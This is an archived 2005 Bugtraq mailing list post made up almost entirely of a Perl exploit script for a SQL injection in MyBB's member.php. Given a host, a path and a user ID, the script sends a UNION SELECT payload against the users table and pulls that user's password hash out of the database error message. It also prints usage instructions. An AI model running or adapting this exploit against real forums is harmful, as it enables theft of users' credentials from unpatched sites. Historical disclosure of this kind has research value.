[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20050828011642.31986.qmail@securityfocus.com>
Date: 28 Aug 2005 01:16:42 -0000
From: W7ED@...MAIL.COM
To: bugtraq@...urityfocus.com
Subject: Member.php SQL Injection in MyBB
#!/usr/bin/perl -w
use LWP::Simple;
## Vitem ##
if(!$ARGV[0]){
print "############# MyBB Member.php SQL Injection ##############\n";
print "## Coded By #\n";
print "################################################## ########\n";
print "## [+] Bug By W7ED - W7ED[at]hotmail.com #\n";
print "################################################## ########\n";
print "# Exmp:- perl file.pl mybb.net /mybb userid #\n";
print "################################################## ########\n";
exit;
}
###########
my $host = 'http://'.$ARGV[0];
## User ID ##
if(!$ARGV[1]){
$ARGV[1] = 1;
}
#############
my $userid = $ARGV[1];
print "[*] Trying $host\n";
## Forum Path ##
if(!$ARGV[2]){
$ARGV[2] = '/';
}
################
$url = "$ARGV[2]/member.php?action=profile&uid=lastposter&fid=-1,') UNION SELECT password,password,password,password,password,passw ord,password,password,password,password,password,p assword,password,password,password,password,passwo rd,password,password,password,password,password,pa ssword,password,password,password,password,passwor d,password,password,password,password,password,pas sword FROM users WHERE uid=$userid/*";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
$page =~ m/mySQL error: 1054<br>Unknown column '(.*?)'/ && print "[+] User ID Is $userid And Hash Is : $1\n";
print "[-] Unable to retrieve Hash\n" if(!$1);
Powered by blists - more mailing lists